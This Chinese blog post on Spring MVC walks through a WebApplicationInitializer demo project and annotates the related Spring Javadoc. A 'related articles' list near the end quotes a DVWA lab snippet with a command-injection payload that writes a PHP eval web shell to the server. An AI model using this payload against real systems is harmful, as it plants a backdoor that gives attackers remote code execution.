spring mvc源码学习笔记之六

  • pom.xml 内容如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>com.qsm</groupId><artifactId>learn</artifactId><version>1.0.0</version></parent><groupId>com.qs.demo</groupId><artifactId>demo-077</artifactId><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</artifactId><version>5.3.28</version></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>4.0.1</version><scope>provided</scope></dependency></dependencies></project>
  • com.qs.demo.MyWebApplicationInitializer 内容如下
package com.qs.demo;import com.qs.demo.root.AppConfig;
import com.qs.demo.sub.DispatcherConfig;import org.springframework.web.WebApplicationInitializer;
import org.springframework.web.context.ContextLoaderListener;
import org.springframework.web.context.support.AnnotationConfigWebApplicationContext;
import org.springframework.web.servlet.DispatcherServlet;import javax.servlet.ServletContext;
import javax.servlet.ServletRegistration;/*** @author qs* @date 2024/09/24*/
public class MyWebApplicationInitializer implements WebApplicationInitializer {// 这个例子来自于 WebApplicationInitializer 的文档@Overridepublic void onStartup(ServletContext container) {// Create the 'root' Spring application contextAnnotationConfigWebApplicationContext rootContext =new AnnotationConfigWebApplicationContext();rootContext.register(AppConfig.class);// Manage the lifecycle of the root application contextcontainer.addListener(new ContextLoaderListener(rootContext));// Create the dispatcher servlet's Spring application contextAnnotationConfigWebApplicationContext dispatcherContext =new AnnotationConfigWebApplicationContext();dispatcherContext.register(DispatcherConfig.class);// Register and map the dispatcher servletServletRegistration.Dynamic dispatcher =container.addServlet("dispatcher", new DispatcherServlet(dispatcherContext));dispatcher.setLoadOnStartup(1);// 一个 DispatcherServlet 包圆了所有的请求// 可以搞多个 DispatcherServlet 分别处理不同的请求dispatcher.addMapping("/");}
}
  • com.qs.demo.root.AppConfig 内容如下
package com.qs.demo.root;import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;/*** @author qs* @date 2024/09/24*/
@Configuration
@ComponentScan("com.qs.demo.root")
public class AppConfig {}
  • com.qs.demo.root.AppleService 内容如下
package com.qs.demo.root;import org.springframework.beans.BeansException;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.stereotype.Service;import java.util.UUID;/*** @author qs* @date 2024/09/24*/
@Service
public class AppleService implements ApplicationContextAware {private ApplicationContext applicationContext;public String a() {System.out.println(applicationContext);return UUID.randomUUID().toString();}@Overridepublic void setApplicationContext(ApplicationContext applicationContext) throws BeansException {this.applicationContext = applicationContext;}
}
  • com.qs.demo.sub.DispatcherConfig 内容如下
package com.qs.demo.sub;import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.EnableWebMvc;/*** @author qs* @date 2024/09/24*/
@EnableWebMvc
@Configuration
@ComponentScan(basePackages = "com.qs.demo.sub")
public class DispatcherConfig {}
  • com.qs.demo.sub.BananaService 内容如下
package com.qs.demo.sub;import org.springframework.beans.BeansException;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.stereotype.Service;import java.util.UUID;/*** @author qs* @date 2024/09/24*/
@Service
public class BananaService implements ApplicationContextAware {public String a() {return UUID.randomUUID().toString();}@Overridepublic void setApplicationContext(ApplicationContext applicationContext) throws BeansException {System.out.println(applicationContext);}
}
  • com.qs.demo.sub.Demo01Controller 内容如下
package com.qs.demo.sub;import com.qs.demo.root.AppleService;import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;import javax.annotation.Resource;/*** @author qs* @date 2024/09/24*/
@RestController
public class Demo01Controller {@Resource private AppleService appleService;@Resource private BananaService bananaService;@GetMapping("/01")public String a() {return "01";}@GetMapping("/02")public String b() {return appleService.a();}@GetMapping("/03")public String c() {return bananaService.a();}
}

以上就是全部代码

写这个例子主要是为了介绍 WebApplicationInitializer 这个接口。简单点儿讲就是这个接口等价于 web.xml 这个配置文件。
写了这个接口就不用写 web.xml 配置文件了。
下面重点看下这个接口的 javadoc

/**  
* <p>
* 下面这段话的关键点:
* 1、适用于 servlet 3.0+ 环境
* 2、该接口可以看做是传统的 web.xml 的替代品
* </p>
*
* Interface to be implemented in Servlet 3.0+ environments in order to configure the  
* {@link ServletContext} programmatically -- as opposed to (or possibly in conjunction  
* with) the traditional {@code web.xml}-based approach.  
*
* <p>
* 下面这段话的意思:
* 1、该接口的实现会自动被 SpringServletContainerInitializer 检测到
* 2、而 SpringServletContainerInitializer 又会被 servlet 3.0 容器自动带起来
* </p>
*
* <p>Implementations of this SPI will be detected automatically by {@link  
* SpringServletContainerInitializer}, which itself is bootstrapped automatically  
* by any Servlet 3.0 container. See {@linkplain SpringServletContainerInitializer its  
* Javadoc} for details on this bootstrapping mechanism.  
*
* <p>注意下面这个例子。看本接口是怎样替换 web.xml 配置的</p>
*
* <h2>Example</h2>  
* <h3>The traditional, XML-based approach</h3>  
* Most Spring users building a web application will need to register Spring's {@code  
* DispatcherServlet}. For reference, in WEB-INF/web.xml, this would typically be done as  
* follows:  
* <pre class="code">  
* {@code  
* <servlet>  
* <servlet-name>dispatcher</servlet-name>  
* <servlet-class>  
* org.springframework.web.servlet.DispatcherServlet  
* </servlet-class>  
* <init-param>  
* <param-name>contextConfigLocation</param-name>  
* <param-value>/WEB-INF/spring/dispatcher-config.xml</param-value>  
* </init-param>  
* <load-on-startup>1</load-on-startup>  
* </servlet>  
*  
* <servlet-mapping>  
* <servlet-name>dispatcher</servlet-name>  
* <url-pattern>/</url-pattern>  
* </servlet-mapping>}</pre>  
*  
* <h3>The code-based approach with {@code WebApplicationInitializer}</h3>  
* Here is the equivalent {@code DispatcherServlet} registration logic,  
* {@code WebApplicationInitializer}-style:  
* <pre class="code">  
* public class MyWebAppInitializer implements WebApplicationInitializer {  
*  
* &#064;Override  
* public void onStartup(ServletContext container) {  
* XmlWebApplicationContext appContext = new XmlWebApplicationContext();  
* appContext.setConfigLocation("/WEB-INF/spring/dispatcher-config.xml");  
*  
* ServletRegistration.Dynamic dispatcher =  
* container.addServlet("dispatcher", new DispatcherServlet(appContext));  
* dispatcher.setLoadOnStartup(1);  
* dispatcher.addMapping("/");  
* }  
*  
* }</pre>  
*
* <p>
* 上面的例子是实现 WebApplicationInitializer 接口。
* 也可以继承 AbstractDispatcherServletInitializer 类。
* </p>
*
* As an alternative to the above, you can also extend from {@link  
* org.springframework.web.servlet.support.AbstractDispatcherServletInitializer}.  
*  
* As you can see, thanks to Servlet 3.0's new {@link ServletContext#addServlet} method  
* we're actually registering an <em>instance</em> of the {@code DispatcherServlet}, and  
* this means that the {@code DispatcherServlet} can now be treated like any other object  
* -- receiving constructor injection of its application context in this case.  
*  
* <p>This style is both simpler and more concise. There is no concern for dealing with  
* init-params, etc, just normal JavaBean-style properties and constructor arguments. You  
* are free to create and work with your Spring application contexts as necessary before  
* injecting them into the {@code DispatcherServlet}.  
*  
* <p>Most major Spring Web components have been updated to support this style of  
* registration. You'll find that {@code DispatcherServlet}, {@code FrameworkServlet},  
* {@code ContextLoaderListener} and {@code DelegatingFilterProxy} all now support  
* constructor arguments. Even if a component (e.g. non-Spring, other third party) has not  
* been specifically updated for use within {@code WebApplicationInitializers}, they still  
* may be used in any case. The Servlet 3.0 {@code ServletContext} API allows for setting  
* init-params, context-params, etc programmatically.  
*
* <p>
* 在上面的例子中,web.xml 被替换了,但是 dispatcher-config.xml 依然存在。
* 下面的例子就彻底摆脱 xml 配置了。
* </p>
*
* <h2>A 100% code-based approach to configuration</h2>  
* In the example above, {@code WEB-INF/web.xml} was successfully replaced with code in  
* the form of a {@code WebApplicationInitializer}, but the actual  
* {@code dispatcher-config.xml} Spring configuration remained XML-based.  
* {@code WebApplicationInitializer} is a perfect fit for use with Spring's code-based  
* {@code @Configuration} classes. See @{@link  
* org.springframework.context.annotation.Configuration Configuration} Javadoc for  
* complete details, but the following example demonstrates refactoring to use Spring's  
* {@link org.springframework.web.context.support.AnnotationConfigWebApplicationContext  
* AnnotationConfigWebApplicationContext} in lieu of {@code XmlWebApplicationContext}, and  
* user-defined {@code @Configuration} classes {@code AppConfig} and  
* {@code DispatcherConfig} instead of Spring XML files. This example also goes a bit  
* beyond those above to demonstrate typical configuration of the 'root' application  
* context and registration of the {@code ContextLoaderListener}:  
* <pre class="code">  
* public class MyWebAppInitializer implements WebApplicationInitializer {  
*  
* &#064;Override  
* public void onStartup(ServletContext container) {  
* // Create the 'root' Spring application context  
* AnnotationConfigWebApplicationContext rootContext =  
* new AnnotationConfigWebApplicationContext();  
* rootContext.register(AppConfig.class);  
*  
* // Manage the lifecycle of the root application context  
* container.addListener(new ContextLoaderListener(rootContext));  
*  
* // Create the dispatcher servlet's Spring application context  
* AnnotationConfigWebApplicationContext dispatcherContext =  
* new AnnotationConfigWebApplicationContext();  
* dispatcherContext.register(DispatcherConfig.class);  
*  
* // Register and map the dispatcher servlet  
* ServletRegistration.Dynamic dispatcher =  
* container.addServlet("dispatcher", new DispatcherServlet(dispatcherContext));  
* dispatcher.setLoadOnStartup(1);  
* dispatcher.addMapping("/");  
* }  
*  
* }</pre>  
*  
* As an alternative to the above, you can also extend from {@link  
* org.springframework.web.servlet.support.AbstractAnnotationConfigDispatcherServletInitializer}.  
*  
* Remember that {@code WebApplicationInitializer} implementations are <em>detected  
* automatically</em> -- so you are free to package them within your application as you  
* see fit.  
*
* <p>
* 多个 WebApplicationInitializer 之间可以指定顺序。但是这种一般不常用。一个 WebApplicationInitializer 就够了。
* </p>
*
* <h2>Ordering {@code WebApplicationInitializer} execution</h2>  
* {@code WebApplicationInitializer} implementations may optionally be annotated at the  
* class level with Spring's @{@link org.springframework.core.annotation.Order Order}  
* annotation or may implement Spring's {@link org.springframework.core.Ordered Ordered}  
* interface. If so, the initializers will be ordered prior to invocation. This provides  
* a mechanism for users to ensure the order in which servlet container initialization  
* occurs. Use of this feature is expected to be rare, as typical applications will likely  
* centralize all container initialization within a single {@code WebApplicationInitializer}.  
*  
* <h2>Caveats</h2>  
*
* <p>
* 注意 web.xml 和 WebApplicationInitializer 不是相互排斥的。
* 二者可以同时存在。
* </p>
*
* <h3>web.xml versioning</h3>  
* <p>{@code WEB-INF/web.xml} and {@code WebApplicationInitializer} use are not mutually  
* exclusive; for example, web.xml can register one servlet, and a {@code  
* WebApplicationInitializer} can register another. An initializer can even  
* <em>modify</em> registrations performed in {@code web.xml} through methods such as  
* {@link ServletContext#getServletRegistration(String)}. <strong>However, if  
* {@code WEB-INF/web.xml} is present in the application, its {@code version} attribute  
* must be set to "3.0" or greater, otherwise {@code ServletContainerInitializer}  
* bootstrapping will be ignored by the servlet container.</strong>  
*  
* <h3>Mapping to '/' under Tomcat</h3>  
* <p>Apache Tomcat maps its internal {@code DefaultServlet} to "/", and on Tomcat versions  
* &lt;= 7.0.14, this servlet mapping <em>cannot be overridden programmatically</em>.  
* 7.0.15 fixes this issue. Overriding the "/" servlet mapping has also been tested  
* successfully under GlassFish 3.1.<p>  
*  
* @author Chris Beams  
* @since 3.1  
* @see SpringServletContainerInitializer  
* @see org.springframework.web.context.AbstractContextLoaderInitializer  
* @see org.springframework.web.servlet.support.AbstractDispatcherServletInitializer  
* @see org.springframework.web.servlet.support.AbstractAnnotationConfigDispatcherServletInitializer  
*/ 

多说一嘴,这个例子中用到了 DispatcherServlet 的有参构造(DispatcherServlet只有2个构造方法,一个无参一个有参,无参构造在其他文章中介绍了)。
这里就顺便详细看下这个有参构造的 javadoc

/*** 使用给定的 web 应用上下文来创建一个 DispatcherServlet。* 无参的构造是在 DispatcherServlet 内部自己创建维护 web 应用上下文。* 这个有参的构造是用外部传过来的 web 应用上下文。* 这个构造方法主要是用在 servlet 3.0+ 的环境中。* 用了这个构造方法以后,setContextClass setContextConfigLocation setContextAttribute setNamespace 这4个方法就无效了。* 对应的 contextClass contextConfigLocation contextAttribute namespace 等四个 servlet init-param 也无效了。* 传进来的 web 应用上下文可能已经 refresh() 了,也可能没有 refresh()。* 建议是不要 refresh()。* 如果不刷新的话,将会发生这些事情:* 1、如果传进来的web应用上下文还没有设置父应用上下文,则将 root web 应用上下文设置为它的父应用上下文。* 2、如果传进来的web应用上下文还没有设置id,将会给它设置一个id。* 3、将ServletContext和ServletConfig存到web应用上下文中。* 4、postProcessWebApplicationContext 方法会被调用。* 5、ApplicationContextInitializer 会被调用。可以用这个东西对web应用上下文进行自定义配置,其他文章也有提过。* 6、如果传进来的web应用上下文实现了ConfigurableApplicationContext的话,refresh()方法将会被调用。* 如果传进来的web应用上下文已经 refresh() 过了,上面提到的几点都不会发生。* * 另外,这个有参构造怎么用,可以参考 WebApplicationInitializer 接口。这不就跟本文写的代码对应上了么。** Create a new {@code DispatcherServlet} with the given web application context. This* constructor is useful in Servlet 3.0+ environments where instance-based registration* of servlets is possible through the {@link ServletContext#addServlet} API.* <p>Using this constructor indicates that the following properties / init-params* will be ignored:* <ul>* <li>{@link #setContextClass(Class)} / 'contextClass'</li>* <li>{@link #setContextConfigLocation(String)} / 'contextConfigLocation'</li>* <li>{@link #setContextAttribute(String)} / 'contextAttribute'</li>* <li>{@link #setNamespace(String)} / 'namespace'</li>* </ul>* <p>The given web application context may or may not yet be {@linkplain* ConfigurableApplicationContext#refresh() refreshed}. If it has <strong>not</strong>* already been refreshed (the recommended approach), then the following will occur:* <ul>* <li>If the given context does not already have a {@linkplain* ConfigurableApplicationContext#setParent parent}, the root application context* will be set as the parent.</li>* <li>If the given context has not already been assigned an {@linkplain* ConfigurableApplicationContext#setId id}, one will be assigned to it</li>* <li>{@code ServletContext} and {@code ServletConfig} objects will be delegated to* the application context</li>* <li>{@link #postProcessWebApplicationContext} will be called</li>* <li>Any {@code ApplicationContextInitializer}s specified through the* "contextInitializerClasses" init-param or through the {@link* #setContextInitializers} property will be applied.</li>* <li>{@link ConfigurableApplicationContext#refresh refresh()} will be called if the* context implements {@link ConfigurableApplicationContext}</li>* </ul>* If the context has already been refreshed, none of the above will occur, under the* assumption that the user has performed these actions (or not) per their specific* needs.* <p>See {@link org.springframework.web.WebApplicationInitializer} for usage examples.* @param webApplicationContext the context to use* @see #initWebApplicationContext* @see #configureAndRefreshWebApplicationContext* @see org.springframework.web.WebApplicationInitializer*/
public DispatcherServlet(WebApplicationContext webApplicationContext) {super(webApplicationContext);setDispatchOptionsRequest(true);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66219.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hyperbolic dynamics

http://www.scholarpedia.org/article/Hyperbolic_dynamics#:~:textAmong%20smooth%20dynamical%20systems%2C%20hyperbolic%20dynamics%20is%20characterized,semilocal%20or%20even%20global%20information%20about%20the%20dynamics. 什么是双曲动力系统&#xff1f; A hy…

基于SpringBoot在线竞拍平台系统功能实现十五

一、前言介绍&#xff1a; 1.1 项目摘要 随着网络技术的飞速发展和电子商务的普及&#xff0c;竞拍系统作为一种新型的在线交易方式&#xff0c;已经逐渐深入到人们的日常生活中。传统的拍卖活动需要耗费大量的人力、物力和时间&#xff0c;从组织拍卖、宣传、报名、竞拍到成…

Ubuntu 搭建SVN服务

目录 ​ 1、安装SVN服务端 2、创建SVN版本库 3、修改SVN配置svnserve.conf 3.1 配置文件介绍 3.2 svnserve.conf配置 3.3 authz配置设置用户读写权限 3.4 passwd配置 用户名密码 4、启动SVN服务 4.1 配置开机启动 1、安装SVN服务端 sudo apt-get install subversion…

DataV数据可视化

阿里云 DataV 是一个强大的数据可视化工具&#xff0c;可以帮助用户通过创建丰富的图表、仪表盘、地图和互动视图&#xff0c;将复杂的数据转化为易于理解和分析的可视化信息。DataV主要用于大数据和实时数据的展示&#xff0c;可以帮助企业和个人更直观地理解数据背后的含义&a…

电子电气架构 --- 整车整车网络管理浅析

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 所谓鸡汤,要么蛊惑你认命,要么怂恿你拼命,但都是回避问题的根源,以现象替代逻辑,以情绪代替思考,把消极接受现实的懦弱,伪装成乐观面对不幸的…

面试题解,Java中的“对象”剖析

一、说一说JVM中对象的内存布局&#xff1f;new一个对象到底占多大内存&#xff1f; 话不多说&#xff0c;看下图&#xff0c;对象的内存布局图 一个对象的内存布局主要由三部分组成&#xff1a;对象头&#xff08;Object Header&#xff09;、实例数据&#xff08;Instance D…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

MySQL(五)MySQL图形化工具-Navicat

1. MySQL图形化工具-Navicat Navicat是一套快速、可靠的数据库管理工具&#xff0c;Navicat是以直觉化的图形用户界面而建的&#xff0c;可以兼容多种数据库&#xff0c;支持多种操作系统。   Navicat for MySQL是一款强大的 MySQL 数据库管理和开发工具&#xff0c;它为专业…

非关系型数据库和关系型数据库的区别

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

信息科技伦理与道德1:绪论

1 问题描述 1.1 信息科技的进步给人类生活带来的是什么呢&#xff1f; 功能&#xff1f;智能&#xff1f;陪伴&#xff1f;乐趣&#xff1f;幸福&#xff1f; 基于GPT-3的对话Demo DeepFake 深伪技术&#xff1a;通过神经网络技术进行大样本学习&#xff0c;将个人的声音、面…

iOS 11 中的 HEIF 图像格式 - 您需要了解的内容

HEIF&#xff0c;也称为高效图像格式&#xff0c;是iOS 11 之后发布的新图像格式&#xff0c;以能够在不压缩图像质量的情况下以较小尺寸保存照片而闻名。换句话说&#xff0c;HEIF 图像格式可以具有相同或更好的照片质量&#xff0c;同时比 JPEG、PNG、GIF、TIFF 占用更少的设…

windows远程桌面无法连接,报错:“由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系”

windows远程桌面无法连接&#xff0c;报错&#xff1a;“由于没有远程桌面授权服务器可以提供许可证&#xff0c;远程会话被中断。请跟服务器管理员联系” 问题描述&#xff1a;解决方法&#xff1a;无法删除条目解决如下&#xff1a;正常激活详见&#xff1a;[RDS远程服务激活…

Tesseract5.4.0自定义LSTM训练

准备jTessBoxEditor&#xff0c;然后配置环境变量。 1、将图片转换成tif格式的&#xff0c;这里需要用画图工具另存为&#xff1b; 2、生成box文件 执行命令&#xff1a; tesseract agv.normal.exp1.tif agv.normal.exp1 -l eng --psm 6 batch.nochop makebox 关于box文件…

Oracle Dataguard(主库为 Oracle 11g 单节点)配置详解(1):Oracle Dataguard 工作原理

Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle Dataguard 工作原理 目录 Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle …

Windows系统安装Docker Desktop

文章目录 注意事项安装步骤官网下载软件安装到其它盘符操作(如果就想安装到C盘可以跳过这个步骤, 直接执行文件)等待出现软件安装界面Windows系统的配置软件的一些必要设置(以下设置需要点击apply才能生效&#xff0c;如果点不了&#xff0c;那就是安装后&#xff0c;出现了错误…

从零开始RTSP协议的实时流媒体拉流(pull)的设计与实现(一)

此文为系列文章&#xff0c;此系列主要讲解RTSP客户端的拉流及播放&#xff0c;文章持续更新&#xff0c;会从rtsp的基本协议讲起&#xff0c;如何一步步实现音视频的拉流过程&#xff0c;包括一系列涉及到的协议&#xff0c;rtsp&#xff0c;sdp&#xff0c; rtp&#xff08;本…

特殊车辆检测数据集VOC+YOLO格式2730张3类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;2730 标注数量(xml文件个数)&#xff1a;2730 标注数量(txt文件个数)&#xff1a;2730 …

LookingGlass使用

背景 Looking Glass 是一款开源应用程序&#xff0c;可以直接使用显卡直通的windows虚拟机。 常见环境是Linux hostwindows guest&#xff0c;基本部署结构图&#xff1a; 编译 git clone --recursive https://github.com/gnif/LookingGlass.git编译client mkdir client/b…

Ceph 手动部署(CentOS9)

#Ceph手动部署、CentOS9、squid版本、数字版本19.2.0 #部署服务:块、对象、文件 一、部署前规划 1、兼容性确认 2、资源规划 节点类型节点名称操作系统CPU/内存硬盘网络组件安装集群节点CephAdm01CentOS94U/8GOS:40G,OSD:2*100GIP1:192.169.0.9(管理&集群),IP2:…

如何优化亚马逊广告以提高ROI?

在竞争激烈的亚马逊市场中&#xff0c;优化广告以提高投资回报率&#xff08;ROI&#xff09;是卖家的关键任务。以下是一些实用的策略&#xff1a; 一、精准的关键词研究与选择 深入了解产品特性和目标受众 详细分析产品的功能、用途、优势和适用人群。例如&#xff0c;如果你…